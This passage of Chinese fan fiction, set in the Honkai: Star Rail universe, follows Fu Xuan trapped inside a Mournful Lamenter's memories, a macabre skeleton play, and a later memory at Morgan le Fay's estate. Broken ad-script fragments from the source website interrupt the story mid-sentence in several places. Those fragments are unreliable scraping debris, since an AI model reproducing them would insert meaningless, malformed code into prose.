她立刻陷入一种不能控制情绪的极端恐慌之中,就连周围穷观阵维持着的记忆场景也开始摇动,黑白两色的场景开始极速扭曲溶解,呈现出一种漩涡状朝着那具棺椁汇聚。 所有的场景都渐渐消失了,只有那具棺椁还清晰地留在视野之中。 不好! 符玄当机立断,立时切断了穷观阵当前的演算。 一切的场景迅速黑下去,连同那具棺椁一起。 符玄惊魂未定地冷静了几秒钟。 片刻后,她很确定那具棺椁已经不再能够对她造成影响,微微松了一口气。 然而,就在她正准备退出穷观阵推演的记忆时,符玄忽然惊愕地发觉,她出不去了。 ********* 卡芙卡再一次避开景元的攻击。 拖延的时间有点久了…… 紫发的猎手暂时退后,手持武士刀想。 “猎手,还要继续下去吗?”景元金色的眼睛亮如熔火,“再继续拖下去,着急的可不是我。” “……” 卡芙卡想了想,叹了口气,忽然举枪向天,扣动扳机。 “……”景元眯起眼睛警戒,然而那一发并不是子弹,而是一颗信号弹。 紫色的信号弹在空中炸响。 半晌,毫无响动。 “……你做了什么?”景元问。 卡芙卡彬彬有礼地回答:“其实也没什么,只是让我们的愚者摧毁了穷观阵的三座基阵……” 她话音还没落下,不远处以悼歌和符玄为中心的穷观阵忽然迸发出极其强烈的光芒! 一股自圆心向外的冲击波一瞬间爆开! 其威力之巨大,几乎将离得过近的景元和卡芙卡掀飞出去。 在急剧的冲击中,景元紧急将振刀插入地面稳住身形,他顶着强风望向那刺目光芒的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中心,对着一边的卡芙卡喝问:“这可不是摧毁基阵该有的效果!你们到底做了什么!” “我了个阿哈啊!!”一道比他的声音更愤怒的声音抢着他的尾音响了起来,“卡芙卡!我只是摧毁个基阵的功夫你就在这整了这出大活!你们的剧本就是让你这样救人的吗?!!” “没有办法,各位。”卡芙卡一边忙着不被吹飞,一边还有余裕微笑,“剧本是这样写的。其实我也挺冤枉……毕竟我真的什么都没做呀。” 突然出现在此地的愚者一边朝着风暴的中心极速前进,一边气愤地说:“什么都没做?什么都没做!你们的老大就没在此处做个预警吗?我就说他是个神棍啊!” 景元没功夫搭理突然出现的愚者——他实在担心爆炸波正中心的符玄,于是此刻强行顶着风暴前行。 然而下一刻,那往外扩散的风暴突兀地变作一股巨大的吸力,由于他之前还在往阵心前行,因此猝不及防地瞬间被吸了过去。 在意识陷入一片黑暗之前,他听见紫发猎手的声音说: “别害怕,所有人都会平安无事地醒来的。” ******** 符玄行走在黑暗的记忆罅隙之间。 她闭眼演算,得出了穷观阵的三座基阵被破坏了的结果。 真真是屋漏偏逢连夜雨! 对穷观阵三座基阵的破坏,和那记忆中异常之物对穷观阵的冲击,导致了穷观阵的崩溃。 眼下她被困在了伶人的记忆之中。 不知道将军那边如何了……想必那穷观阵的基阵是伶人的同伙毁坏的,也就是说,将军此刻正在带病同歹徒作战。 她必须快一点出去支援将军,否则她和穷观阵都将成为将军作战时的掣肘。敌人只需要攻击她和穷观阵,就能逼得将军分身乏术…… 符玄皱眉,难以避免地急躁起来。 她踽踽独行,终于见到前方有一线微微的亮光,于是立刻从这道光芒中进入记忆的碎片。 这看起来依然是在一艘飞船上,虽然依然陷在黑白两色的色调中,但能周围的布置和之前伶人凝望舷窗时的场景相似,应该是同一艘飞船。 据说悲悼伶人们搭乘能跨越星星的飞船贡多拉进行演出,也许这里就是贡多拉。 符玄想。 她谨慎地观察周围的布置。 贡多拉飞船上的装饰和布置都秉承了悲悼伶人们一贯的信念。提倡禁欲和苦修,坚持弃绝欢愉的伶人们,即使在飞船的装饰上也显出独特的简洁、克制、严肃。 一面巨大的储物柜占据了此间的一面墙壁。那其中盛装着的,既有斑斓的脸谱面具、做法奇特的香炉,也有一些稀奇古怪的物品,比如闪闪发光的牙齿、眼泪形状的石头…… 看样子,这里是悲悼伶人们用来存放物品的储物间。 符玄看见悼歌背对着她站在储物柜前。 他正在垂首擦拭一张哭泣着的黑白色面具,神情专注,目光悲伤,像在透过这张面具缅怀一个不可追的往昔。 储物柜有一面墙之大,因此更衬得站在它面前的悼歌渺小。室内的灯光斜斜落在此处唯一的人身上,在地面投下一道孤独伶仃的瘦长影子。 悼歌注视面具良久,最后珍之又珍地轻轻将它戴在了脸上。 20.二十、贡多拉小剧场开幕前准备 戴上那张面具后,伶人拄着拐杖一瘸一拐地走出了储物室。 符玄赶紧跟上去。 这是在伶人的记忆之中,显然跟着伶人才能找到出去的机会。 伶人在贡多拉的舱室间熟悉地穿行,然而路上十分寂静,除了伶人稳定均匀的脚步声外,完全不闻人声。 贡多拉上只有这一个伶人吗?符玄正如此想着,就见伶人在中段一间巨大的房间前停步。 房间的门开着,但是内部一片漆黑,伸手不能见五指。 伶人像能看见一样,从门走进去。随着他的走动,穹顶的灯光依此一排排亮起来。 随着灯光的亮起,符玄发现,这里面仿佛被加上了独特的滤镜,和周围灰黑色的一切不同,这间房间是彩色的。 这些在他记忆中具有颜色的东西,对伶人来说也许有什么特殊含义。符玄想。 她朝里望去,柔和的灯光照见房间的布局,这是一间巨大的阶梯式剧场。厚重的地毯在灯光下显出丝绸般的光泽,柔软的绒布面座椅一看就知道其舒适度。 最低处是一座木制的舞台,厚重的猩红色幕布静穆垂落,过长而堆叠在地板上的布料被整理过,整齐地呈现出层层分明的视野效果。 看起来这里是伶人们排演新剧目的舞台。 想必伶人们对这里的布置十分上心,即使是如此巨大的剧场,那些座椅和地毯上也看不见一星半点的灰尘和污渍。一切物品的摆放都那么恰到好处,简直让人怀疑这群伶人都是秩序的信徒。 符玄谨慎地站在房间的门口,遥远地观察伶人的动作。 悼歌头戴先前在储物室拿的面具,走到舞台前方。 他先点燃了摆放在角落的熏香,一种安神镇静的清淡香气立时弥漫了整个空间,就连站在门口的符玄也清楚地闻到。 而后,他踱步回到舞台的正前方,用那根从不离手的拐杖点了点地面。 一时之间,穹顶的灯光刹那熄灭。黑暗之中,唯有一束灯光正正落在伶人头顶,在地面留下一个白炽色的亮斑。 这种光线的照射极其鲜明地凸显了伶人的存在。在周围一片漆黑中,唯有那一块亮斑是唯一的孤岛,站在孤岛上的伶人垂首静默,垂落的白发反射灯光,耀眼到刺目。 悼歌清了清嗓子,开始清唱一支舒缓低沉的歌。 歌声十分遥远,好似自冥河的彼岸传来,又因为身处剧院,更有种空谷回响似的回音,像是漂浮在沉沉水面的雾气,既朦胧,也渺茫。 但这都不是歌声的主旨,远远压过唱腔的是旋律和歌者本身的悲伤,在这无伴奏的清唱下,那强烈的感情展现得更加明晰。 这是一曲哀悼的挽歌,也许是伶人们为某个已经灭亡的世界所做。 符玄正如此想着,忽然看见,那边的舞台上,随着伶人的歌声,猩红色的幕布自动拉开了。 一束惨白的光芒照在舞台上,于是她清晰地看见: 那舞台上密密麻麻,堆满白骨。 ********* “你醒啦?再多睡会!你已经睡了10086个琥珀纪,药师都死了。” 景元还未睁开眼,就听见一个阴阳怪气的声音对他说了如上内容。 “……”神策将军睁开眼睛,无视了愚者的阴阳怪气,说,“你果然来了,愚者。” 莱尔皮笑肉不笑地抱臂,说:“什么话,你绑了我朋友,我能不来吗?你看,这就是你和我的现世报:现在我们都被困在悼歌的记忆里了,如果找不到出口出去,刚刚我那句话可就不是玩笑了。” 景元起身,掸了掸身上不存在的灰,定眼打量四周。 他和这愚者同处在一片灰暗之中,而卡芙卡不知所踪。 “你找卡芙卡?”愚者敏锐地察觉到他在看什么,说,“她去找你们罗浮神棍去了。我猜你们审问悼歌之前没让他和你们说几句话,如果你们能听悼歌说话,他也许会告诉你们——他的记忆并不安全。但可惜,你们多半也不会相信。” 真奇怪,这位愚者和卡芙卡似乎都没什么敌意。 景元一边思忖,一边反问:“并不安全是指?” 莱尔忽然笑起来,说:“本来其实也没什么,悼歌的记忆不安全,但是符玄也逛不到不安全的地方去。但是现在……说不好了。” “我得说,符太卜得为这次大规模记忆灾害负一半的责任。不知道那算命的在悼歌记忆里看了些什么东西才搞出这种场面……” “哎呀,等等,我还真想到一个。” 莱尔顿了一下,阴气森森地说:“你也知道寰宇里总有些看了就会污染眼睛和精神的存在,不巧我们之前就遇到一位。现在他就待在罗浮的幽囚狱里,你们心真大啊。” “你说罗刹?”景元问。 下一刻他立刻否定:“不……你我都曾直视过他。” 景元沉思片刻,问:“……是那口棺材?” 莱尔皮笑肉不笑地给景元鼓掌: “将军真乃神机妙算!我和悼歌也不知道他往那棺材里面装了什么,罗刹非说那是一具遗体,但我猜测那是一颗活着的星核,悼歌猜测那是某个将死未死的令使……总之不是什么好东西——另外我插句话,你们罗浮完全不安检吗?这样的东西,罗刹就堂而皇之地揣着带进了仙舟,还背在身上,一路从流云渡溜达到丹鼎司……” “阁下对罗浮的关检有何高见?”景元谦虚地反问,“若你我能顺利出去,也许不才景元还能借鉴一番你的经验——但前提是,你我顺利出去。” “哦哟,”愚者笑说,“谢天谢地了!你帮我省略了很多打机锋的环节!我还以为你这种七百年老狐狸会自以为是地和我玩心机呐——‘你是敌人我不信你会帮我’这一类的——但是既然你不打算一辈子待在这里,那事情就很简单了。” 不,其实我的确不相信你愿意帮我,景元面上微笑,内心想道。 但是形势比人强,眼下除了寻求合作尽快出去没有更好的办法。他不是伶人的同伙,不清楚伶人的记忆,而眼前的愚者很显然在这方面很有发言权。 至于建木神实、不赦十恶——那些出去再算不迟。 愚者一摊手,笑眯眯地说: “虽然我也不是很愿意,但是接下来你得跟着我走。至于符玄,不出意外的话卡芙卡很快会找到她。虽然你们仙舟还通缉过卡芙卡,但她是人美心善的星核猎手,讲究一个以德报怨,胸怀若谷——” “其实是因为你们害怕联盟的复仇罢了。”景元笑着打断。 “真是肮脏的成年人。”愚者阴森地笑了两声,“就不能是因为星核猎手们是贯彻爱与和平的反派吗?不过你说得对,我顺从。” “哈哈,”景元皮笑肉不笑地说,“阁下说话真有趣。但眼下不是闲聊的时候,不是说要我跟着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你走吗?请吧。” 他做出请的手势。 愚者同样阴阳怪气地说:“能为神策将军效力,真是我的荣幸了!” ******** 符玄眼看着舞台上的幕布拉开,灯光照见其上那堆叠得密密麻麻的白骨。 那些白骨大致可以看出是些人形的骨架,但零零散散,缺斤少两,有的少了头骨,却在尾椎处增生了怪异的骨质;有的肋骨大开,像炸开的彼岸花;有的则根本没有个人形,一根脊椎上连着数个头骨,每一个头骨上都有七八个眼睛形状的窟窿,三四张嘴…… 符玄:“……?” 正在献唱哀歌的伶人渐渐止息了歌声,他戴着面具,沿着舞台另一侧的阶梯拾级而上,那一束惨白色的灯光滞后一拍地跟随着他,将他的影子在舞台上投出怪异诡谲的形状,也为那些骨质的怪物们拖出可怖的漆黑影子。 伶人站到这群甚至不成人形的白骨中间,轻轻将拐杖搁置在一边,取下舞台上的那一把巨型剪刀。 这把剪刀足足有半人之高,那锋利的刀面上寒光闪闪,璀璨夺目,看起来像是名贵的坚硬宝石制作而成,看起来比伶人那一储物柜的东西都更值钱。 伶人持着剪刀,视线一一掠过这些白骨,良久,安静地打招呼说: “老师,前辈们,我回来了。” 打完招呼的伶人持着巨型剪刀,开始为第一个似人而非人的骨架修剪形体。 那些增生的骨架,在伶人的手下就如同蔓生的枝叶,而他则是花园中认真细心的园艺师,一点一点不厌其烦地为他心爱的灌木剪除多余的枝杈,留下最美丽的形体。 在伶人的修剪下,这一具骨架初具人形。 完成了这第一具骨架的修剪,伶人放下剪刀,又取走整齐叠在一旁地上的一件衣服,为这一具骨架妥帖地穿上。 待一切工作准备完成,伶人直起身,稍稍退后一步,审视自己的成品。 想必他得出了满意的答案。 他搀扶着这一具骨架,将它轻柔地放置在另一边的地面上。 悼歌又拿起了地上的剪刀。 猩红的幕布和惨白的灯光映衬下,伶人半蹲在棕褐色的木质舞台上,白色的长卷发铺落一地,他却并不在乎。 他以十二万分的专注力,就着惨白的灯光,耐心地剪除尾椎上增生的骨质尾巴、脊椎上多出来的四个头骨、炸开成花瓣状的肋骨,将非人的怪物修剪回人的形状——人的骨架的形状。 他对待那些骨架的态度,犹如对待亲朋好友,既保持着尊重体贴,又显得温柔熟稔。动作之轻柔,仿佛它们是一触即碎的瓷器。 也许那些骨架的确是他的亲朋好友,但是眼前这一幕还是超出阳间的范畴。 如果此处站着的是假面愚者或阿哈,也许他能从这不寻常的一幕中品出一些独特的黑色幽默,毕竟不是谁都能严肃又一本正经地将骨头当成亲朋好友。 然而,站在门口的符玄笑不出来,只觉得心中警铃大作。 在法眼的观测和推演下她发现,那些增生的骨质被剪下来之后的状态,和伶人那左半边病变的皮肤非常类似。 她隐隐觉得自己来到了一个诡谲的记忆片段中,然而此时如果离开,又不知道多久才能找到出去的机会,而将军此时也不知道如何了…… 符玄深呼吸一口气,咬牙停住向外走的脚步,继续观察。 21.二十一、哈默尔恩的吹笛手 猩红的幕布之下,伶人在和白骨们共演一出戏剧。 若说共演,显得不太确切,实际上,悼歌所做,只是戴着哭泣的面具站在舞台的一个小小角落,以清唱的方式为这一出戏剧配乐。 伶人的歌声变成了牵扯白骨们行动的悬丝,在贡多拉空无一人的剧场上,半死不活的将死之人与白骨一同严肃而认真地上演这出不知名剧目。 白骨嶙峋的敬业演员们身着五彩斑斓的戏服,古怪又别扭地在舞台上挥动骨架,发出使人牙酸的“吱嘎”声。 看得出这是一出悲剧,讲述着遥远寰宇中一颗偏僻星星上发生的故事。 在伶人清晰的唱词中,那星星坎坷的命运向不存在的观众娓娓道来。 伽伦德星区,第七号星,这片星域中距离星穹列车曾经铺设的银轨最遥远的星星。 作为寰宇中少数有智生命生存定居的行星,它十分幸运地拥有正处在主序星期的稳定恒星,但不幸的是,它离它的太阳过远。 羸弱的光和热导致了第七号星上残酷的生态竞争。极寒,饥馁,是这里的生命首先要面对的两大挑战。 一代又一代的物种被极寒永远埋入星星的深处,数不清的纪年轮转,数不清的霸主更替,终于人类走上台前,开始改变以原始厮杀为生存手段的历史,他们艰难地搭建堡垒抵御风寒,发展科技以利用七号星上独特的凝熔冰资源,在这颗孤独而偏僻的星星上建立起一时兴盛的文明…… 直到寰宇蝗灾的蠹虫,振翅飞过伽伦德的星域。 繁育的塔伊兹育罗斯,在蠹星大屠杀中孤独飞升的星神,祂为了免除整个种群仅仅只余下祂的悲伤,抛却了一切智慧生命的其它智能,在寰宇中高效、恐怖地席卷起一场虫灾。 祂所过之处,所有和“繁育”有关的行为,得到的都将是祂的子嗣,女人生下来的不再是胎儿、机械化工厂的流水线产出的也不再是产品,而是一只只虫子。 遮天蔽日的虫群追随着虫皇在寰宇无穷无尽地分裂、复制、繁育,蛀空了不知几何的星星,而塔伊兹育罗斯只是路经伽伦德星域,第七号星上历经了几百纪年风寒和几百纪年厮杀才好不容易建立起的文明,顷刻,行至摇摇欲坠的悬崖边缘。 就在这样的摇摇欲坠中,第七号星挣扎百年。即使存护星神克里珀以巨锤击落了繁育星神,残存的虫群依然使得它浸泡在血和泪的战火之中。 如是挣扎,如是往复,数不清的琥珀纪过去…… 然后,公司将视线投向了这片区域。 战略投资部的新任主管钻石上台,他分发自己令使的力量,成立【石心十人】,在整个寰宇进行战略意义上的投资。 伽伦德星区地处星轨交汇之间,自然是不能错过的璞石。 公司的舰队浩浩汤汤地从庇尔波因特的总部前往伽伦德星区,以绝对的火力消除了困扰这片星区数百个琥珀纪的虫灾,就连最偏僻的第七号星也得到了这种拯救,尽管它是出于利益的考虑,但对第七号星上苟延残喘的人来说,此时的公司,确实是神兵天降,宛如救主。 这些从来不曾飞出自己星球,天真又质朴的原住民以最高的敬意和礼遇回报公司,在一张又一张写着“开发”“扶助”“接管”的契约上签字—— 他们真有如此蠢笨,不知道公司是个只为利益而动的组织?他们果然如此天真,相信世界上真有无缘无故、不求回报的倾力相助?还是说,他们这些举措,是出于现实下的种种无奈? 答案已经无从知晓。 如果生存的代价是向公司出卖自我,挣扎在死生之间的文明,为活下来又能有哪些别的选择? 至少公司比虫群文明,至少公司夺走的,不比虫群更多。 但是命运往往这样运作:它予以拥有的人更多,夺取一无所有的人仅有的。 在第七号星向公司出卖自我,换取短暂的三十年和平发展之后,毁灭令使【焚风】领着他的军团途经此地。 他途径此地,顺手点燃了一场吞没星星的大火。 无声无息,又如此壮烈,这颗挣扎了数不清的纪元的星星,经历了原生灾害、寰宇蝗灾、帝皇战争、公司入驻,诸此种种,终于走到它生命的终极了。 瑰丽的火舌舔舐着行星的表面,像是苍白星球熄灭前,倾注最后的生命和感情创作的印象派画作。 ——伶人唱到此处,舞台上突兀地升起大朵大朵深红色的布料团充作“火焰”,他原本清澈的嗓音也随之嘶哑。 那些以他的歌声作为悬丝的白骨陷在火焰之中犹如接触不良般剧烈又痛苦地痉挛起来,然而下一刻—— 这些白骨开始癫狂地大笑。 它们一边笑,一边毫无反抗意志地躺倒在地上,任由熄灭星星的火焰将它们吞没。 它们安详地将手放在胸前,那黑洞洞的骷髅眼睛也给人笑眼弯弯之感——原来笑不是一种视觉,而是一种感觉。 但是,你们怎么可以笑呢? 符玄猛地从座位上起身,手紧紧攥住前排的座椅上的绒布,异质的悲伤和愤怒充斥了她全部的思绪,她心想: 你们的星星熄灭了,你们即将死去,为什么你们反而在为此发笑呢? 下一刻她立刻意识到不对!她应该在剧院的门口,可是她现在为什么坐在剧院正前方的椅子上,如此用心地观看这一出剧目?! 她想要立刻打开法眼屏蔽这些迷障,可是那些白骨的笑声仍然不停传入耳朵,扰的她心烦意乱—— 等等……白骨的笑声? 为什么白骨,能发出笑声……? 符玄慢半拍地看向自己的双手,发现那是一双白骨。 她恍惚地看向周围,却看见木质的深褐色地板,以及上空刺目的舞台灯光。 她摸向自己的喉咙,发现那笑声,正来自她自己。 她才是躺在舞台的地板上,毫无反抗意志,吃吃发笑之人。 她的形体正在渐渐消失,从手开始,变成半人半骷髅的怪物。 她的骨头上也蔓生出新的骨质,好似此刻唱着遥远的歌声的伶人正在牵着她的手,带她走过冥河。 她感觉到自己的思绪变得极其缓慢,就连转动眼珠看向周围这一个指令的下达,都需要耗费几分钟的功夫。 她终于在这缓慢到近乎停止的恍然中看见她周围 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的景象—— 她周围的那些骷髅,此刻在她的眼睛里并不尽然是白骨了。他们和她一样是半人半骷髅的存在,停滞在生与死的界限之上,被渺茫而悲伤的歌声牵扯着,牵扯着,在死生边缘混沌地行走,被那遥远的唱词以悬丝牵动…… 在她的思绪彻底凝固停滞之前,她看见那块亮白色的光斑,以及站在其间的伶人。 他唱完了最后一个饱满的字句,颤动的余音在空中滞留了许久。 他摘下了哭泣着的面具,因此她看见伶人七窍流血。 深红色的血珠从眼眶处不断滑落,像是另一种形态的眼泪。 伶人垂首,浅蓝色的眼睛直视着她—— 如果此时她还清醒,她或许该意识到这行动背后可怖的含义,这是在伶人的记忆之中,按道理来说,他不应该看见她这个外来者—— 伶人浅蓝色的眼睛直视着她,像一面被打碎了的镜子,封存着许多莫名的情绪。 流着血泪的伶人轻柔地开口说: “我很抱歉。睡吧,当您再睁开眼睛,您将安然无恙地和同伴相见。” ********* “……!!” 符玄猛地睁开眼睛,挣扎着从地上起身。 “本座这是……”她捂着脑袋,只觉得一片混乱。 “你终于醒了,太卜。”紫发的猎手悠悠然开口,对着符玄露出一个微笑。 符玄瞬间戒备,立即起身拉开距离,手掐法诀:“是你!你对本座做了什么?!” 卡芙卡无辜地一摊手,笑说:“太卜大人冤枉我了,我什么都没做。严格来说,我还救了你呢。你刚才迷路到我们这位伶人不太安全的记忆之中了,是我以身犯险,以德报怨,闯入其中将你救了出来……” “哼!”符玄冷哼一声,“焉知不是你和他同流合污想出来的奸计!” 紫发的猎手展开双臂,以完全不设防备的真诚姿态说:“如果您不相信,不妨用法眼看一看?” “……”符玄皱眉,偏头思索。 “我没有骗您,太卜。”卡芙卡收回手臂,看着自己蛛网纹路的手套,说,“那的确不是什么值得挖掘的有价值的记忆。那些记忆对你来说有害无益。你现在或许想不起来你看见了些什么——那是因为我用言灵术帮你淡化了那些记忆。” “寰宇中有许多悲剧,许多危险,你刚才看见的,就是这亿万兆悲剧和危险中微不足道的一件。它和仙舟联盟、和药师、和巡猎都没有关系,只要你不主动去回想,和你也没有关系。如果你只是想知道罗浮星核灾变的细节,我想你之前收集得够多了。”卡芙卡那摄人心魄的紫色眼睛直视符玄,说。 “……”符玄审视地看着卡芙卡,沉默不语。 “不过,你现在肯定十分担心你们将军的安危。”卡芙卡笑着说,“来吧,我带你去和另外两位被困此间的人汇合——要想出去,还是个大工程啊。” “哼!”符玄抱臂,“你最好别耍花招,否则……” “我所知的一切都已经全部告诉您了,”卡芙卡优雅地舒展身体,“现在,就暂时相信我,和我一起来吧。” 22.二十二、第二次踏进同一条河 “卡芙卡——”愚者远远地朝着卡芙卡和符玄挥手,喊道,“这里。” 符玄皱眉,警惕地打量愚者,然后下一刻她的瞳孔微微放大:“将军?!” “星核猎手果然守信。”景元对着卡芙卡微微一笑,又对着符玄微微颔首,问,“符卿,你可还好?” “……”符玄立刻冷静下来,说,“本座无事。” “你当然没事了,”莱尔斜视了符玄一眼,“因为卡芙卡去救你了。虽然说我们是罗浮通缉犯,但一码归一码,你是不是得和她说声谢谢?” “……”符玄瞪了莱尔一眼,调整了一下表情,别扭地对卡芙卡说,“谢、谢谢了。你救了本座,在出去之前,本座暂且不与你计较此前罗浮上发生的事……” “小事一桩,”紫发的猎手微笑起来,“太卜客气了。” “所以,接下来你们准备怎么出去?”符玄问。 “简单。”愚者简洁地说,“你们知道伊伊玛尼喀吗?那是我和悼歌来罗浮之前待过一段时间的星球,我们从这段记忆中离开。” “这段记忆有什么特殊之处?”景元摸着下巴沉吟。 “特殊在完全不涉及贡多拉之上的场景,足够安全。”愚者解释道,“特殊在那里的记忆之中有一颗可控的星核,而我能借此打开离开记忆的通道。” “这颗星核就是你们和幻胧做交换的那一颗?”符玄问。 “……”愚者回头斜视符玄,笑眯眯地说,“对啊,星核猎手也知道,不信你问卡芙卡。” “呵呵……”卡芙卡虚情假意地微笑,“是啊,毕竟那是你们从我们手里面抢走的。” 愚者一边在最前方带路,一边头也不回地说:“‘从你们手里抢走的’?修辞艺术魅力时刻!我怎么记得,这颗星核是伊伊玛尼喀纯种野生星核,我和悼歌只是正好先你们一步找到它而已呢……?是你们和它无缘,怪不着我们吧?” “大家现在都是一条船上的蚂蚱了,”景元笑眯眯地跟在愚者身后和稀泥,“别吵架呀。” “嗬嗬,”愚者同样笑眯眯地回答,“我们假面愚者从来不和别人吵架,这都是充分交换意见,友好沟通交流,怎么能说是吵架?不过那都不重要,重要的是我们要到了,看完这一段记忆也许要花一段时间,我建议你们不要乱跑,也不要乱看——灵感太高可是团灭发动机啊。” “来吧,让我们愉快地来当伊伊玛尼喀游客团吧。”他如是说道,并轻巧地跃入了那一线亮光之中。 ———————— “姓名?” “悼歌。” “身份?” “悲悼伶人。” “入境凭证?” “我受「曼陀罗」摩根勒菲女士之邀前来参加她的生日宴,这是邀请函。” 持枪防备的入关守卫仔细检查了一下伶人递过来的薄薄请柬。特殊工艺制成的韧性纸张上泛着曼陀罗派系特有的徽纹:一朵泛着白色金属光泽的曼陀罗花。 纸张触手温暖光滑,自带一股使人迷醉的暖香,那优雅细长的字体更是鲜明的彰显一件事实: 这封邀请函,由摩根勒菲女士亲手写成。 刚刚还斜眼看人的守卫顿时肃然起敬,犹如变色龙一般,态度一百八十度大转弯。他恭敬地双手递还这封邀请函,口中说: “原来是摩根大人的贵客!您请!” 悼歌对着守卫点头:“谢谢,您客气太过。” 伶人拄着拐杖,越过重兵扼守的登陆空港入口,向港内走去,没走多远,就有一位领着数人的使节快步迎上来: “请问是悼歌先生吗?” “是的。”悼歌慢吞吞地点头,拄着拐杖观察这位使节:他有着堪比寰宇明星的好脸蛋,四六分的黄金比例身形,一头顺滑如绸缎的金色长发,以及恰到好处的和善笑容,甚至就连他身后那几位,在外形上也都各有千秋。 ……看起来摩根勒菲女士对派系成员的要求除了能力,还有长相。 伶人在心中想。 出于对摩根勒菲身份的了解,他不是很奇怪这一点。 使节笑着说:“太好了!摩根大人遣我来迎接您。这里不是说话的地方,请随我来——我们为您准备了代步用的轮椅和自动驾驶的飞车……” 使节身后,一群俊美如雕塑的人们大方地推出一辆轮椅,并围着轮椅做出“请”的姿势,分外阳光,十分开朗。 伶人沉默,在一下自己走和坐上这辆社死轮椅之间艰难抉择。 最后,为了不给这些使节增添额外的麻烦,伶人只能认输: “……谢谢您的好意。” 他微略整理了一下头发和衣服,慢吞吞地挪动到轮椅旁边,如慷慨就义般坐下来,将拐杖搁置在臂弯里收好。 “好,那么我们就出发吧!”使节和身后推着轮椅的人粲然一笑,像刚刚毕业的阳光开朗大学生一般,洋溢着欢乐气氛地上路了。 伶人坐在轮椅上,更郁郁了。他很想掏出他的面具戴上,然而作为客人,他的理智劝阻了他的举动。 使节们一路欢快地将他送上自动驾驶飞车,并热切地和他一起坐在一边。 那辆轮椅被使节们折叠起来收在一边,伶人选择不去看它。 “伊伊玛尼喀是一个拥有独特风情和超现实主义科技的星球——摩根大人宽限了时间,嘱咐我们务必要让您感觉到宾至如归,因此在去见摩根大人之前,您可以在我们曼陀罗派系掌管的领地尽情地逛一逛——” 坐在悼歌左手边的少女开朗地说。 “当然我们全程都会陪同您!并且您的全部开销都由曼陀罗报销,您一定不要感到拘束——” 坐在悼歌右手边的少年紧接着爽朗地补充。 悼歌:“……” 悼歌说:“谢谢你们的好意……非常感谢。我想让女士久待不是一位有礼貌的客人该有的举措。请容许我先去见一见摩根勒菲女士,再谈观光不迟。” “您真体贴啊!”使节们感动到,“好的,我们先带您去见摩根大人!等合适的时候,我们一定带您尽情游玩伊伊玛尼喀!” 悼歌:“……” 悼歌说:“谢谢你们的好意……那么我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 却之不恭了。” ———————————— 伶人所在的飞车直达摩根勒菲的庄园。 飞车停稳之后,伶人拄着拐杖起身,他还没自己走上两步,使节们已经殷勤地将轮椅又推了出来,并且像某种大型犬科动物一样,眼睛亮闪闪地望着他。 悼歌:“……” 悲悼伶人再一次妥协,说:“麻烦了。” “不不!不麻烦!”使节们欢快地说。 他们七手八脚地把伶人扶到轮椅上,众星捧月一般推着轮椅从正门进入。 这座庄园充分展示了其主人的爱美之心。 庄园的主人花费大片土地种植姝丽的繁花,并将它们装饰在建筑的各个角落。 门扉上,匠人们雕刻出繁复的花纹,蜿蜒蔓生的细藤极具美感地缠绕其上,点缀以色彩艳丽的异花。空气中弥漫着一种迷醉心神的温暖香气,像是某种淡薄的雾一般亲吻来人的发丝和嘴唇…… 这座庄园亦十分热闹。穿行其间的人无一例外,有着和这座庄园一样的美丽,并且和正在推着轮椅的几位使节一样,洋溢着清澈的欢快气质。 他们轻快地向使节问好,热切地关心悼歌的身体状况和心理感受,这一路走过来,“谢谢”两个字,已经被悼歌重复不下数十遍。 他们就在这样过度欢快的氛围里一路通行无阻地来到摩根勒菲的会客厅。 “摩根大人,我们把客人带到啦!”使节们说。 这是一间宽阔明亮的会客厅,柔软的沙发摆放两侧,而正中间则摆放着一面巨大的镜子碎片,以花纹美丽的支架做支撑,占据着一半的台面。 另一半的台面上摆满了花瓶,此刻,一位身形娇小,身着鲸骨裙的女士正背对着他们,动作轻柔地修剪花枝。 她听到使节们的声音,立刻转过身来,露出一个甜美的微笑。 她看起来异常年轻,柔软而编织复杂的紫色长发上点缀着刚刚摘下的百合花,鲜红色的嘴唇弯弯地微笑,像含露的柔软玫瑰。那一身沉重的紫罗兰色鲸骨裙尤其让人眼花缭乱,但在她身上又如此恰到好处,一点不喧宾夺主,更衬得她姝丽明艳。 这就是摩根勒菲。「曼陀罗」军阀的领袖人物。她的美丽和她那与想象差距过大的身形常常会震惊初次与她见面的人。 因为她的“可怕”的流传度,远远超过她的美丽。 摩根勒菲快步上前来,接过使节们手中的轮椅:“做得很好,好孩子们。现在你们可以去玩了,让我和我们的客人待一会吧。” “好的!如果有需要,请随时叫我们!”使节们欢快地将轮椅让给摩根勒菲,欢快地退下,一点也不觉得让他们的顶头上司干推轮椅的活有什么不对。 “……” “您好,摩根勒菲女士。”伶人站起来也不是,继续坐着也不是,只好就这样开口同她打招呼。 同时令有一种情绪占据了他的心神,让他在看见这位陌生又亲切的女士时,几乎落泪。 “你好,美丽的悲悼伶人。”摩根勒菲笑,甜蜜地说,“欢迎来到伊伊玛尼喀。” 23.二十三、你是否承认纯美星神恩?德芮美貌盖世无双? “你来得时间真好,”摩根勒菲心情非常好地笑着说,“我培育了一种颜色非常奇特的玫瑰花,它正好要盛开了。” 摩根勒菲平稳地推着轮椅行走在庄园的石板路小道上,道路两侧,青绿色的各类植物生机勃勃地旺盛生长。 伶人沉默地思忖着自己坐在轮椅上,让这位曼陀罗领袖推着自己走这件事的合理性。 “这一种玫瑰是淡蓝色的,和你的眼睛非常相称。我想,用它来作为见面礼是很合适的,”摩根勒菲继续说,“我本应该在你来之前将她摘下来亲手送给你,但她太过脆弱了……早早摘下会使得她失去她应有的美丽。因此我想要邀请你一起前去,由你亲手摘下她。” “谢谢您的好意。”悼歌放弃了纠结轮椅的问题,转而说,“事实上我也为您带了见面礼。” 伶人取出一颗拳头大小的琥珀。透过它纯净而不掺杂志的外表能够清晰地看见,其中似乎封存着一颗微缩星球。 摩根勒菲接过这颗琥珀,惊奇地仔细欣赏着其中的景象。 伶人的声音恰到好处地响起,为她解释道: 